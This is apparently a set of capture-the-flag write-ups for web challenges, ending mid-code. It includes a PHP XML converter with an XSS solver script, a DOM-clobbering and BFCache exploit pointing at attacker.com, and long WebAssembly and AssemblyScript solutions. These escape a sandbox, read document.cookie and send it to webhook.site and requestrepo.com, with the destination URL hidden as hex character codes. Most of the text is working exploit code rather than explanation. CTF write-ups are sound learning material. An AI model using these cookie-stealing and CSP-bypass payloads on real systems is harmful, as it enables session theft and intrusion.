    	xml_set_processing_instruction_handler( $x, function( $parser, $target, $data ) {
    		if ( $target === 'xml-stylesheet' ) {
    			echo "<!-- XML is already pretty enough -->";
    		} else {
    			echo "<?$target $data?>";
    		}
    	} );
    
    	if ( !xml_parse( $x, $_REQUEST['xml'], true ) ) {
    		@header( 'HTTP/1.1 500 error' );
    		@header( 'Error: ' . xml_error_string( xml_get_error_code( $x ) ) );
    		echo '<!-- Error: ' . xml_error_string( xml_get_error_code( $x ) ) . ' -->';
    	}
    
    } else {
    ?>
    <!doctype html>
    <html>
    <head>
    <title>1337 XML converter</title>
    <link rel="stylesheet" href="styles.css">
    </head>
    <body>
    <h1>XML 1337 Converter</h1>
    <p>
    Wish your XML files were cooler? Wait no more with our all new 1337 converter for XML files. We'll leave the structural elements of the file alone and just convert the text content.
    </p>
    <label>XML:</label><br>
    <form action="/" method="POST">
    <textarea name="xml" id="xml" cols="80" rows="15" placeholder="<&#x3f;xml version=&quot;1.0&quot;&#x3f;>" required>
    </textarea>
    <br>
    <input type="submit" value="1337-ify">
    </form>
    <br><a href="https://xml-translator-bot-web.challs2.infobahnc.tf">Admin bot</a>
    </body>
    </html>
    <?php
    
    }
    
    solution

    Still kind of half asleep, but tl;dr for xml-translate php doesnt handle quotes in attributes correctly in xml_default handler

    import httpx
    import asyncio
    import html
    
    URL = "http://1pc.tf:8080/"
    
    class BaseAPI:
        def __init__(self, url=URL) -> None:
            self.c = httpx.AsyncClient(base_url=url)
        def xml(self, xml: str) -> str:
            return self.c.post("/", data={"xml": xml})
    
    class API(BaseAPI):
        ...
    
    async def main():
        api = API()
        injection = """ "><payload xmlns:x="http://www.w3.org/1999/xhtml">
            <x:script>alert('XSS in XML Page!')</x:script>
        </payload></note><note x=" """
        injection = html.escape(injection)
        payload = f"""<note x='{injection}'></note>"""
        print(payload)
        res = await api.xml(payload)
        print(res.text)
    
    if __name__ == "__main__":
        asyncio.run(main())
    

    BFCache in iframe sandbox

    Event NameQnQ CTF 2025
    GitHub URL-
    Challenge Namesecure-letter-revenge
    Attachments
    References

    Our exploit uses these steps:

  • Load the page without bfcache
  • Use the html injection to clobber the analytics url value:
  • <a id="cfg"></a> <a id="cfg" name="analyticsURL" href="attacker.com"></a>
    
  • Do a top level navigation
  • Then head back with history.back() to trigger the disk cache.
  • We will host the following exploit:

    <script>
      const win = window.open("http://web:3001/?letter=%3Ca%20id=%22cfg%22%3E%3C/a%3E%20%3Ca%20id=%22cfg%22%20name=%22analyticsURL%22%20href=%22{ATTACKER-SERVER-WITH-XSS-PAYLOAD}%22%3E%3C/a%3E&updateLetter=true");
    
    
      setTimeout(() => {win.location.href = "https://sameOrigin/lol"},4000)
        // here you need to use the same origin url as the one where you are hosting the exploit to be able to do history.back because of SOP
      setTimeout(()=>{win.history.back()},6000)
      </script>
    

    Send the url where you hosted your exploit to the bot, wait a few sec... and voila the flag is ours!

    I hope you enjoyed the challenge, the writeup and learned something new!

    WEBASM Escape and CSP bypass to steal cookie

    Event NameProject Sekai CTF 2025
    GitHub URLhttps://github.com/project-sekai-ctf/sekaictf-2025/
    Challenge NameCaptivating Canvas Contraption
    Attachments
    References

    chat 1. i got access to the loadWasm func without window though which was fun 2. From prepareError and instance?
       (table $deArrayValue 1 externref)
       (func $deArrayHelper (export "deArrayHelper") (param externref)
           i32.const 0
           local.get 0
           table.set $deArrayValue
       )
       (func $deArray (export "deArray") (param externref) (result externref)
           local.get 0
           ref.func $deArrayHelper
           call $ObjectF
           call $groupBy
           drop
           i32.const 0
           table.get $deArrayValue
       )
    (func $getCaller (export "getCaller") (param externref) (result externref)
           (local $rp externref)
           (local $caller externref)
           (local $str_enumerable externref)
           (local $str_get externref)
           (local $bool_true externref)
           (local $lol externref)
           local.get 0
           local.tee $rp
           call $getPrototypeOf
           i32.const 8
           call $getPropObjVal
           local.tee $caller
    
           i32.const 2
           call $getPropStr
           local.tee $str_enumerable
           drop
    
           local.get $caller
           i32.const 0
           call $getPropStr
           local.tee $str_get
           drop
    
           local.get $caller
           i32.const 3
           call $getPropObjVal
           local.tee $bool_true
           drop
    
           local.get $caller
           local.get $str_enumerable
           local.get $bool_true
           call $definePropertyRef
           drop
    
           local.get $rp
           i32.const 0
           local.get $caller
           call $definePropertyI32
           call $Object.values
           local.tee $lol
           call $deArray
       )
    
       (func $renderPixel (export "renderPixel") (param externref externref externref) (result externref)
           (local $fun funcref)
           (local $renderPixelF externref)
           (local $renderFrame externref)
           (local $startRendering externref)
           (local $loadWasm externref)
    
           ref.func $renderPixel
           call $ObjectF
           local.tee $renderPixelF
           call $getCaller
           local.tee $renderFrame
           call $log
           call $getCaller
           local.tee $startRendering
           call $getCaller
           local.tee $loadWasm
           drop
    
           call $x
       )
    solve wat from badat
    (module
    	(import "constructor" "name" (global $object_name externref))
    	(import "constructor" "prototype" (global $object_prototype externref))
    
    
    	(import "constructor" "create" (func $object_create (param externref) (result externref)))
    	(import "constructor" "groupBy" (func $group_by (param externref) (param funcref) (result externref)))
    	(import "constructor" "groupBy" (func $group_by_extref (param externref) (param externref) (result externref)))
    	(import "constructor" "getOwnPropertyDescriptors" (func $get_own_property_descriptors (param externref)  (result externref)))
    	(import "constructor" "values" (func $object_values (param externref) (result externref)))
    	(import "constructor" "keys" (func $object_keys (param externref) (result externref)))
    	(import "constructor" "getPrototypeOf" (func $object_get_prototype_of (param externref) (result externref)))
    	(import "constructor" "getPrototypeOf" (func $object_get_prototype_of_number (param i32) (result externref)))
    	(import "constructor" "assign" (func $object_assign (param externref) (param externref)))
    	(import "constructor" "defineProperty" (func $object_define_property (param externref) (param externref) (param externref)))
    	(import "constructor" "setPrototypeOf" (func $object_set_prototype_of (param externref) (param externref)))
    	(import "constructor" "fromEntries" (func $object_from_entries (param externref) (result externref)))
    	(import "__proto__" "constructor" (func $object (param externref) (result externref)))
    	(import "__proto__" "constructor" (func $object_funcref (param funcref) (result externref)))
    
    	;;(import "env" "log" (func $log (param externref)))
    	(func $log (param externref))
    
    	(global $char_to_return (mut i32) (i32.const 0))
    	(global $externref_to_return (mut externref) (ref.null extern))
    
    	(global $idx_to_save (mut i32) (i32.const 0))
    	(global $saved_element (mut externref) (ref.null extern))
    	(func $save_nth_element (param $val externref) (param $n i32)
    		(local.get $n)
    		(global.get $idx_to_save)
    		i32.eq
    		(if
    			(then
    					(local.get $val)
    					(global.set $saved_element)
    			)
    		)
    	)
    	(func $get_nth_element (param $arr externref) (param $n i32) (result externref)
    		(global.set $idx_to_save (local.get $n))
    		(call $group_by (local.get $arr) (ref.func $save_nth_element))
    		drop
    		(global.get $saved_element)
    	)
    
    	;; function needs to be exported to pass it as a callback to groupby
    	(export "save_nth_element" (func $save_nth_element))
    
    	;;(import "constructor" "getOwnPropertyDescriptors" (func $get_own_property_descriptors (param externref)  (result externref)))
    	;;(import "constructor" "values" (func $object_values (param externref) (result externref)))
    	(func $get_property_by_index (param $target externref) (param $idx i32) (result externref) 
    		(local $prop_descs externref)
    		(local $prop_desc externref)
    		(local.set $prop_descs 
    			(call $get_own_property_descriptors (local.get $target))
    		)
    
    		(local.set $prop_desc
    			(call $get_nth_element 
    				(call $object_values (local.get $prop_descs))
    				(local.get $idx) 
    			)
    		)
    		(call $get_nth_element 
    			(call $object_values (local.get $prop_desc))
    			(i32.const 0) 
    		)
    	)
    
    	;; (import "constructor" "getPrototypeOf" (func $object_get_prototype_of (result externref)))
    	(func $get_string_class (result externref)
    		(local $string_proto externref)
    		(local.set $string_proto (call $object_get_prototype_of (global.get $object_name)))
    		(call $get_property_by_index (local.get $string_proto) (i32.const 1))
    	)
    	
    	(func $get_string_from_char_code (result externref)
    		(call $get_property_by_index (call $get_string_class) (i32.const 3))
    	)
    
    	;; (import "constructor" "keys" (func $object_keys (param externref) (result externref)))
    
    	;; We need a second definition of groupBy that we can call with js functions(externrefs)
    	;; (import "constructor" "groupBy" (func $group_by_extref (param externref) (param externref) (result externref)))
    
    	;; (global $char_to_return (mut i32) (i32.const 0))
    	(func $return_char (result i32)
    		(global.get $char_to_return)
    	)
    	(export "return_char" (func $return_char))
    
    	(func $make_single_char_string (param $ch i32) (result externref)
    		(local $ch_object externref)
    		(local $ch_array externref)
    		(local $from_char_code_obj externref)
    		(local $null_str externref)
    
    		(global.set $char_to_return (local.get $ch))
    		(local.set $ch_object (
    			call $group_by 
    				(global.get $object_name)
    				(ref.func $return_char)
    			)
    		)
    		(local.set $ch_array (
    			call $object_keys 
    				(local.get $ch_object)
    			)
    		)
    		(local.set $from_char_code_obj
    			(call $group_by_extref 
    				(local.get $ch_array) (call $get_string_from_char_code)
    			)
    		)
    		(local.set $null_str 
    			(call $get_nth_element  
    				(call $object_keys (local.get $from_char_code_obj)) 
    				(i32.const 0)
    			)
    		)
    		(call $get_nth_element  
    			(local.get $null_str) 
    			(i32.const 0)
    		)
    	)
    
    	;; (import "constructor" "prototype" (global $object_prototype externref))
    	;; (import "constructor" "create" (func $object_create (param externref) (result externref)))
    	;; (import "constructor" "assign" (func $object_assign (param externref) (param externref)))
    	;; (import "constructor" "defineProperty" (func $object_define_property (param externref) (param externref) (param externref)))
    	;; (import "constructor" "setPrototypeOf" (func $object_set_prototype_of (param externref) (param externref)))
      ;; (import "__proto__" "constructor" (global $object externref))
    
    	;; (global $externref_to_return (mut externref) (ref.null))
    	(func $return_externref (result externref)
    		(global.get $externref_to_return)
    	)
    	(export "return_externref" (func $return_externref))
    
    	(func $empty_object (result externref) 
    		(call $object_create (global.get $object_prototype))
    	)
    
    	(func $get__proto__descriptor (result externref)
    		(call $get_nth_element
    			(call $object_values
    				(call $get_own_property_descriptors (global.get $object_prototype))
    			)
    			(i32.const 10)
    		)
    	)
    
    	(func $get_enumerable_string (result externref)
    		(call $get_nth_element
    			(call $object_keys (call $get__proto__descriptor))
    			(i32.const 2)
    		)
    	)
    
    	(func $build_single_element_array (param $element externref) (result externref)
    		(local $target externref)
    		(local $descriptor externref)
    		(local $enumerable_desc externref)
    		(local $target_key externref)
    
    		(local.set $target (call $empty_object))
    
    		(global.set $externref_to_return (call $get_enumerable_string))
    		(local.set $enumerable_desc 
    			(call $group_by (global.get $object_name) (ref.func $return_externref))
    		)
    
    		(local.set $descriptor (call $get__proto__descriptor))
    		(call $object_assign (local.get $descriptor) (local.get $enumerable_desc))
    
    		(local.set $target_key (call $make_single_char_string (i32.const 0x41)))
    		
    		(call $object_define_property
    			(local.get $target)
    			(local.get $target_key)
    			(local.get $descriptor)
    		)
    
    		(call $object_set_prototype_of (local.get $target) 
    			(call $object (local.get $element))
    		)
    
    		(call $object_values (local.get $target))
    	)
    	
    	;; (import "constructor" "fromEntries" (func $object_from_entries (param externref) (result externref)))
    	(func $build_kv_object (param $key externref) (param $value externref) (result externref)
    		(local $kv externref)
    		(local $descriptor externref)
    		(local $enumerable_desc externref)
    		(local $target_key externref)
    
    		(local.set $target_key (call $make_single_char_string (i32.const 0x41)))
    
    		(global.set $char_to_return (i32.const 0x41))
    		(local.set $kv (call $group_by 
    			(call $build_single_element_array (local.get $key))
    			(ref.func $return_char)
    		))
    
    
    		(local.set $enumerable_desc 
    			(call $group_by (global.get $object_name) (ref.func $return_externref))
    		)
    
    		(local.set $descriptor (call $get__proto__descriptor))
    		(call $object_assign (local.get $descriptor) (local.get $enumerable_desc))
    
    		(local.set $target_key (call $make_single_char_string (i32.const 0x41)))
    		
    		(call $object_define_property
    			(local.get $kv)
    			(local.get $target_key)
    			(local.get $descriptor)
    		)
    
    		(call $object_set_prototype_of (local.get $kv) 
    			(call $object (local.get $value))
    		)
    		(call $object_from_entries
    			(call $build_single_element_array (call $object_values (local.get $kv)))
    		)
    	)
    	
    	(func $set (param $target externref) (param $key externref) (param $value externref)
    		(call $object_assign
    			(local.get $target)
    			(call $build_kv_object (local.get $key) (local.get $value))
    		)
    	)
    
    	(func $save_elem (param $elem externref)
    		(global.set $saved_element (local.get $elem))
    	)
    	(export "saveElem" (func $save_elem))
    
    	(func $get_last_element (param $arr externref) (result externref)
    		(call $group_by (local.get $arr) (ref.func $save_elem))
    		drop
    		(global.get $saved_element)
    	)
    
    	(func $get_get_string (result externref)
    		(call $get_nth_element
    			(call $object_keys (call $get__proto__descriptor))
    			(i32.const 0)
    		)
    	)
    
    	(func $get_set_string (result externref)
    		(call $get_nth_element
    			(call $object_keys (call $get__proto__descriptor))
    			(i32.const 1)
    		)
    	)
    
    	(func $get_configurable_string (result externref)
    		(call $get_nth_element
    			(call $object_keys (call $get__proto__descriptor))
    			(i32.const 3)
    		)
    	)
    
    	(func $call_with_this (param $this externref) (param $func externref) (result externref)
    		(local $key externref)
    		(local $descriptor externref)
    		
    		(local.set $key (call $make_single_char_string (i32.const 0x41)))
    		(local.set $descriptor (call $empty_object))
    
    		(call $set (local.get $descriptor) (call $get_enumerable_string) (global.get $object_name))
    		(call $set (local.get $descriptor) (call $get_configurable_string) (global.get $object_name))
    		(call $set (local.get $descriptor) (call $get_get_string) (local.get $func))
    		
    		(call $object_define_property (local.get $this) (local.get $key) (local.get $descriptor))
    		(call $get_last_element (call $object_values (local.get $this)))
    	)
    
    	(func $call_with_this_and_arg (param $this externref) (param $func externref) (param $arg externref)
    		(local $key externref)
    		(local $descriptor externref)
    		
    		(local.set $key (call $make_single_char_string (i32.const 0x41)))
    		(local.set $descriptor (call $empty_object))
    
    		(call $set (local.get $descriptor) (call $get_enumerable_string) (global.get $object_name))
    		(call $set (local.get $descriptor) (call $get_configurable_string) (global.get $object_name))
    		(call $set (local.get $descriptor) (call $get_set_string) (local.get $func))
    		
    		(call $object_define_property (local.get $this) (local.get $key) (local.get $descriptor))
    		
    		(call $set (local.get $this) (local.get $key) (local.get $arg))
    	)
    
    	(func $empty_string (result externref)
    		(call $call_with_this
    			(call $empty_object)
    			(call $get_string_from_char_code)
    		)
    	)
    
    	(func $empty_array (result externref)
    		(call $object_keys (call $empty_object))
    	)
    
    	;; (import "constructor" "getPrototypeOf" (func $object_get_prototype_of_number (param i32) (result externref)))
    	(func $get_number_prototype (result externref)
    		(call $object_get_prototype_of_number (i32.const 0x0))
    	)
    
    	(func $get_array_prototype (result externref)
    		(call $object_get_prototype_of (call $empty_array))
    	)
    
    	(func $get_array_constructor (result externref)
    		(call $get_property_by_index (call $get_array_prototype) (i32.const 1))
    	)
    
    	(func $get_array_from (result externref)
    		(call $get_property_by_index (call $get_array_constructor) (i32.const 4))
    	)
    
    	(func $get_array_prototype_push (result externref)
    		(call $get_property_by_index (call $get_array_prototype) (i32.const 12))
    	)
    
    	(func $get_array_prototype_join (result externref)
    		(call $get_property_by_index (call $get_array_prototype) (i32.const 21))
    	)
    
    	(func $get_array_prototype_reduce (result externref)
    		(call $get_property_by_index (call $get_array_prototype) (i32.const 32))
    	)
    	
    	(func $array_push (param $arr externref) (param $val externref)
    		(call $call_with_this_and_arg (local.get $arr) (call $get_array_prototype_push) (local.get $val))
    	)
    
    	;;(import "__proto__" "constructor" (func $object_funcref (param funcref) (result externref)))
    	(func $array_join (param $arr externref) (result externref)
    		(local $join_args externref)
    		(local $reducer_array externref)
    
    		(local.set $join_args (call $empty_array))
    		(local.set $reducer_array (call $empty_array))
    		
    		(call $array_push (local.get $join_args) (call $empty_array))
    
    		(call $array_push (local.get $reducer_array) (local.get $join_args))
    		(call $array_push (local.get $reducer_array) (call $get_array_prototype_join))
    		(call $array_push (local.get $reducer_array) (call $object_funcref (ref.func $save_elem)))
    
    		(call $object_set_prototype_of (call $get_number_prototype) (local.get $arr))
    		(call $call_with_this_and_arg (local.get $reducer_array) (call $get_array_prototype_reduce) (call $get_array_from))
    		(call $object_set_prototype_of (call $get_number_prototype) (global.get $object_prototype))
    		
    		(global.get $saved_element)
    	)
    	
    	(func $get_prepare_stack_trace_string (result externref)
    		(local $arr externref)
    		(local.set $arr (call $empty_array))
    
    		(call $array_push (local.get $arr) (call $make_single_char_string (i32.const 0x70)))
    		(call $array_push (local.get $arr) (call $make_single_char_string (i32.const 0x72)))
    		(call $array_push (local.get $arr) (call $make_single_char_string (i32.const 0x65)))
    		(call $array_push (local.get $arr) (call $make_single_char_string (i32.const 0x70)))
    		(call $array_push (local.get $arr) (call $make_single_char_string (i32.const 0x61)))
    		(call $array_push (local.get $arr) (call $make_single_char_string (i32.const 0x72)))
    		(call $array_push (local.get $arr) (call $make_single_char_string (i32.const 0x65)))
    		(call $array_push (local.get $arr) (call $make_single_char_string (i32.const 0x53)))
    		(call $array_push (local.get $arr) (call $make_single_char_string (i32.const 0x74)))
    		(call $array_push (local.get $arr) (call $make_single_char_string (i32.const 0x61)))
    		(call $array_push (local.get $arr) (call $make_single_char_string (i32.const 0x63)))
    		(call $array_push (local.get $arr) (call $make_single_char_string (i32.const 0x6b)))
    		(call $array_push (local.get $arr) (call $make_single_char_string (i32.const 0x54)))
    		(call $array_push (local.get $arr) (call $make_single_char_string (i32.const 0x72)))
    		(call $array_push (local.get $arr) (call $make_single_char_string (i32.const 0x61)))
    		(call $array_push (local.get $arr) (call $make_single_char_string (i32.const 0x63)))
    		(call $array_push (local.get $arr) (call $make_single_char_string (i32.const 0x65)))
    
    		(call $array_join (local.get $arr))
    	)
    	
    	
    	(func $trigger_error
    		(call $object_set_prototype_of (global.get $object_name) (global.get $object_name)) 
    	)
    
    	(func $get_webhook_url (result externref)
    		(local $arr externref)
    		(local.set $arr (call $empty_array))
    (call $array_push (local.get $arr) (call $make_single_char_string (i32.const 0x68)))
    (call $array_push (local.get $arr) (call $make_single_char_string (i32.const 0x74)))
    (call $array_push (local.get $arr) (call $make_single_char_string (i32.const 0x74)))
    (call $array_push (local.get $arr) (call $make_single_char_string (i32.const 0x70)))
    (call $array_push (local.get $arr) (call $make_single_char_string (i32.const 0x73)))
    (call $array_push (local.get $arr) (call $make_single_char_string (i32.const 0x3a)))
    (call $array_push (local.get $arr) (call $make_single_char_string (i32.const 0x2f)))
    (call $array_push (local.get $arr) (call $make_single_char_string (i32.const 0x2f)))
    (call $array_push (local.get $arr) (call $make_single_char_string (i32.const 0x77)))
    (call $array_push (local.get $arr) (call $make_single_char_string (i32.const 0x65)))
    (call $array_push (local.get $arr) (call $make_single_char_string (i32.const 0x62)))
    (call $array_push (local.get $arr) (call $make_single_char_string (i32.const 0x68)))
    (call $array_push (local.get $arr) (call $make_single_char_string (i32.const 0x6f)))
    (call $array_push (local.get $arr) (call $make_single_char_string (i32.const 0x6f)))
    (call $array_push (local.get $arr) (call $make_single_char_string (i32.const 0x6b)))
    (call $array_push (local.get $arr) (call $make_single_char_string (i32.const 0x2e)))
    (call $array_push (local.get $arr) (call $make_single_char_string (i32.const 0x73)))
    (call $array_push (local.get $arr) (call $make_single_char_string (i32.const 0x69)))
    (call $array_push (local.get $arr) (call $make_single_char_string (i32.const 0x74)))
    (call $array_push (local.get $arr) (call $make_single_char_string (i32.const 0x65)))
    (call $array_push (local.get $arr) (call $make_single_char_string (i32.const 0x2f)))
    (call $array_push (local.get $arr) (call $make_single_char_string (i32.const 0x66)))
    (call $array_push (local.get $arr) (call $make_single_char_string (i32.const 0x30)))
    (call $array_push (local.get $arr) (call $make_single_char_string (i32.const 0x64)))
    (call $array_push (local.get $arr) (call $make_single_char_string (i32.const 0x64)))
    (call $array_push (local.get $arr) (call $make_single_char_string (i32.const 0x36)))
    (call $array_push (local.get $arr) (call $make_single_char_string (i32.const 0x32)))
    (call $array_push (local.get $arr) (call $make_single_char_string (i32.const 0x30)))
    (call $array_push (local.get $arr) (call $make_single_char_string (i32.const 0x61)))
    (call $array_push (local.get $arr) (call $make_single_char_string (i32.const 0x2d)))
    (call $array_push (local.get $arr) (call $make_single_char_string (i32.const 0x66)))
    (call $array_push (local.get $arr) (call $make_single_char_string (i32.const 0x31)))
    (call $array_push (local.get $arr) (call $make_single_char_string (i32.const 0x39)))
    (call $array_push (local.get $arr) (call $make_single_char_string (i32.const 0x61)))
    (call $array_push (local.get $arr) (call $make_single_char_string (i32.const 0x2d)))
    (call $array_push (local.get $arr) (call $make_single_char_string (i32.const 0x34)))
    (call $array_push (local.get $arr) (call $make_single_char_string (i32.const 0x64)))
    (call $array_push (local.get $arr) (call $make_single_char_string (i32.const 0x37)))
    (call $array_push (local.get $arr) (call $make_single_char_string (i32.const 0x61)))
    (call $array_push (local.get $arr) (call $make_single_char_string (i32.const 0x2d)))
    (call $array_push (local.get $arr) (call $make_single_char_string (i32.const 0x39)))
    (call $array_push (local.get $arr) (call $make_single_char_string (i32.const 0x33)))
    (call $array_push (local.get $arr) (call $make_single_char_string (i32.const 0x34)))
    (call $array_push (local.get $arr) (call $make_single_char_string (i32.const 0x30)))
    (call $array_push (local.get $arr) (call $make_single_char_string (i32.const 0x2d)))
    (call $array_push (local.get $arr) (call $make_single_char_string (i32.const 0x30)))
    (call $array_push (local.get $arr) (call $make_single_char_string (i32.const 0x30)))
    (call $array_push (local.get $arr) (call $make_single_char_string (i32.const 0x39)))
    (call $array_push (local.get $arr) (call $make_single_char_string (i32.const 0x33)))
    (call $array_push (local.get $arr) (call $make_single_char_string (i32.const 0x65)))
    (call $array_push (local.get $arr) (call $make_single_char_string (i32.const 0x66)))
    (call $array_push (local.get $arr) (call $make_single_char_string (i32.const 0x32)))
    (call $array_push (local.get $arr) (call $make_single_char_string (i32.const 0x64)))
    (call $array_push (local.get $arr) (call $make_single_char_string (i32.const 0x61)))
    (call $array_push (local.get $arr) (call $make_single_char_string (i32.const 0x35)))
    (call $array_push (local.get $arr) (call $make_single_char_string (i32.const 0x39)))
    (call $array_push (local.get $arr) (call $make_single_char_string (i32.const 0x34)))
    (call $array_push (local.get $arr) (call $make_single_char_string (i32.const 0x3f)))
    
    
    		(call $array_join (local.get $arr))
    	)
    
    	(func $stack_trace_handler (param externref) (param $callsites externref)
    		(local $callsite externref)
    		(local $callsite_proto externref)
    		(local $get_this externref)
    		(local $window externref)
    
    		(local $document_getter externref)
    		(local $document externref)
    		(local $html_document_proto externref)
    		(local $document_proto externref)
    
    		(local $document_props externref)
    		(local $cookie_desc externref)
    		(local $cookie_getter externref)
    
    		(local $cookies externref)
    
    		(local $redirect_array externref)
    		(local $redirect_string externref)
    		(local $location_string externref)
    
    		(local.set $callsite (call $get_nth_element (local.get $callsites) (i32.const 0)))
    		(local.set $callsite_proto (call $object_get_prototype_of (local.get $callsite)))
    		(local.set $get_this (call $get_property_by_index (local.get $callsite_proto) (i32.const 14)))
    		
    		(local.set $window (call $call_with_this (local.get $callsite) (local.get $get_this)))
    
    		;;(local $document_getter externref)
    		;;(local $document externref)
    		;;(local $html_document_proto externref)
    		;;(local $document_proto externref)
    		;;
    		;;(local $document_props externref)
    		;;(local $cookie_desc externref)
    		;;(local $cookie_getter externref)
    		;;
    		;;(local $cookies externref)
    
    		(local.set $document_getter (call $get_property_by_index (local.get $window) (i32.const 672)))
    		(local.set $document (call $call_with_this (local.get $window) (local.get $document_getter)))
    
    		(local.set $html_document_proto (call $object_get_prototype_of (local.get $document)))
    		(local.set $document_proto (call $object_get_prototype_of (local.get $html_document_proto)))
    		(local.set $document_props (call $get_own_property_descriptors (local.get $document_proto)))
    
    		(local.set $cookie_desc (call $get_nth_element (call $object_values (local.get $document_props)) (i32.const 15)))
    		(local.set $cookie_getter (call $get_nth_element (call $object_values (local.get $cookie_desc)) (i32.const 0)))
    
    		(local.set $cookies (call $call_with_this (local.get $document) (local.get $cookie_getter)))
    
    		;;(local $redirect_array externref)
    		;;(local $redirect_string externref)
    		;;(local $location_string externref)
    
    		(local.set $redirect_array (call $empty_array))
    		(call $array_push (local.get $redirect_array) (call $get_webhook_url))
    		(call $array_push (local.get $redirect_array) (local.get $cookies))
    
    		(local.set $redirect_string (call $array_join (local.get $redirect_array)))
    		
    		(local.set $location_string (call $get_nth_element (call $object_keys (local.get $document)) (i32.const 0)))
    
    		(call $set (local.get $document) (local.get $location_string) (local.get $redirect_string))
    	)
    
    	(export "stackTraceHandler" (func $stack_trace_handler))
    	
    	(func $main
    		(call $set 
    			(global.get $object_prototype) 
    			(call $get_prepare_stack_trace_string) 
    			(call $object_funcref (ref.func $stack_trace_handler))
    		)
    	)
    	(start $main)
    
    	;;(func $renderPixel (result i32)
    	;;	i32.const 11141375)
    	;;(export "renderPixel" (func $renderPixel))
    )
    solve from author
    /*
    Some notes:
    Challenge heavily inspired by https://x.com/thomasrinsma/status/1952353781162689007 & https://youtu.be/-MS4BV0-ry4
    Just transcribing the solution in the video will not work due to the CSP, but its definitely worth getting some inspiration from it!
    Also writing the exploit in wat is tedious and annoying, so there's assemblyscript for that (We're even given an editor (hint hint)).
    
    The main part of the solution centers around a couple things:
    - Creating an actual arbitrary string (The talk only shows creation of strings where the second character is a 0, because of groupby passing in a 0 as the second argument). In their example this works fine due to how eval works (i.e eval("00;alert(1)") works fine)
    - Figuring a way to get a reference to the window object using prepareStackTrace, normally only called when the devtools are open, but it also works by default in puppeteer.
        The prepareStackTrace is a function that is called on the creation of errors in v8, giving full callsites.
        Also this prepareStackTrace trick does not work in the _start section because WebAssembly.instantiate in JS is a promise so we don't get back the full window callsite in the error callsite, so we will use the renderPixel for this. 
    - Calling zero argument (arbitrary) functions.
    - Optionally: this solution also converts the cookie to WASM first (calling base64, because encodeURIComponent is completely broken for longer strings for whatever reason).
    - Optionally: the flag could be leaked with DNS exfiltration through window.open (For whatever reason it does not load the full page, only does a dns request), given the length of the flag, it would have to be leaked through multiple requests.
    - Optionally: Call navigator.sendBeacon binding sendBeacon to navigator (Object.groupBy(["..."], navigator.sendBeacon) will not work)
    - Also note that groupBy(["..."], fetch) will not work due to the second arguement to fetch being an integer which is not accepted
    */
    
    @external("__proto__", "toString")
    declare function proto_toString0(): externref;
    
    @external("constructor", "getPrototypeOf")
    declare function Object_getPrototypeOf1(a: externref): externref;
    
    @external("constructor", "getOwnPropertyDescriptors")
    declare function Object_getOwnPropertyDescriptors1(a: externref): externref;
    
    @external("constructor", "getOwnPropertyDescriptor")
    declare function Object_getOwnPropertyDescriptor2(a: externref, b: externref): externref;
    
    @external("constructor", "values")
    declare function Object_values1(a: externref): externref;
    
    @external("constructor", "keys")
    declare function Object_keys1(a: externref): externref;
    
    @external("constructor", "groupBy")
    declare function Object_groupBy2_extern(a: externref, b: externref): externref;
    
    @external("constructor", "groupBy")
    declare function Object_groupBy2_func(a: externref, b: funcref): externref;
    
    @external("constructor", "assign")
    declare function Object_assign1(a: externref): externref;
    
    @external("constructor", "assign")
    declare function Object_assign1_int(a: externref): i32;
    
    @external("constructor", "assign")
    declare function Object_assign2(a: externref, b: externref): externref;
    
    @external("constructor", "assign")
    declare function Object_assign1_funcref(a: funcref): externref;
    
    @external("constructor", "defineProperty")
    declare function Object_defineProperty3_int(a: externref, b: i32, c: externref): externref;
    
    @external("constructor", "defineProperty")
    declare function Object_defineProperty3(a: externref, b: externref, c: externref): externref;
    
    @external("constructor", "getOwnPropertySymbols")
    declare function Object_getOwnPropertySymbols1(a: externref): externref;
    
    @external("constructor", "create")
    declare function Object_create1(a: externref): externref;
    
    @external("constructor", "getOwnPropertyNames")
    declare function Object_getOwnPropertyNames1(a: externref): externref;
    
    @external("constructor", "constructor")
    declare function Object_constructor1(a: externref): externref;
    
    const EXFILL_URL = "https://l2jxfjii.requestrepo.com/flag=";
    
    /* required stub for assembly script */
    export function abort_stub(message: usize, fileName: usize, line: u32, column: u32): void {
        unreachable();
    }
    
    /* Util functions */
    
    var TARGET_INDEX: i32 = 0;
    var TARGET_OBJECT: externref;
    
    export function index_stub(val: externref, index: i32): externref {
        if (index == TARGET_INDEX) {
            TARGET_OBJECT = val;
        }
        return null;
    }
    
    export function index(arr: externref, index: i32): externref {
        TARGET_INDEX = index;
        Object_groupBy2_func(arr, index_stub);
        return TARGET_OBJECT;
    }
    
    var string_prototype: externref;
    var object_prototype: externref;
    var string_class: externref;
    
    var sample_String: externref;
    var toString_String: externref;
    var valueOf_String: externref;
    var value_String: externref;
    var get_String: externref;
    var set_String: externref;
    var raw_String: externref;
    
    var String_fromCharCode: externref;
    var String_charCodeAt_Descriptor: externref; // A prototype function
    var String_raw: externref;
    var String_raw_Descriptor: externref;
    
    var toPrimtive_Symbol: externref
    var valueOf_Descriptor: externref
    
    export function getDescriptorValue(descriptor: externref): externref {
        return index(Object_values1(descriptor), 0);
    }
    
    export function setupConstants(): void {
        /* Nothing special, just grabbing a ton of indexes to get some reuables */
        sample_String = proto_toString0();
        string_prototype = Object_getPrototypeOf1(sample_String);
        object_prototype = Object_getPrototypeOf1(string_prototype);
    
        var string_Descriptors = Object_getOwnPropertyDescriptors1(
            string_prototype
        );
        /* String constructor is at index 1 */
        string_class = getDescriptorValue(index(
            Object_values1(
                string_Descriptors
            ), 1));
        String_charCodeAt_Descriptor = index(Object_values1(string_Descriptors), 8);
        var string_class_Descriptors = Object_getOwnPropertyDescriptors1(string_class);
    
        String_fromCharCode = getDescriptorValue(index(Object_values1(string_class_Descriptors), 3));
        String_raw_Descriptor = index(Object_values1(string_class_Descriptors), 5);
        String_raw = getDescriptorValue(String_raw_Descriptor);
        raw_String = index(Object_keys1(string_class_Descriptors), 5);
    
        toString_String = index(Object_keys1(string_Descriptors), 40);
    
        value_String = index(Object_keys1(index(Object_values1(string_class_Descriptors), 0)), 0);
    
        let objectProtoDescriptors = Object_getOwnPropertyDescriptors1(object_prototype);
        valueOf_String = index(Object_keys1(objectProtoDescriptors), 9);
        valueOf_Descriptor = index(Object_values1(objectProtoDescriptors), 9);
    
        var objectProtoDescriptor = index(Object_values1(objectProtoDescriptors), 10);
    
        get_String = index(Object_keys1(objectProtoDescriptor), 0);
        set_String = index(Object_keys1(objectProtoDescriptor), 1);
    
        var iteratorSymbol = index(Object_getOwnPropertySymbols1(string_prototype), 0);
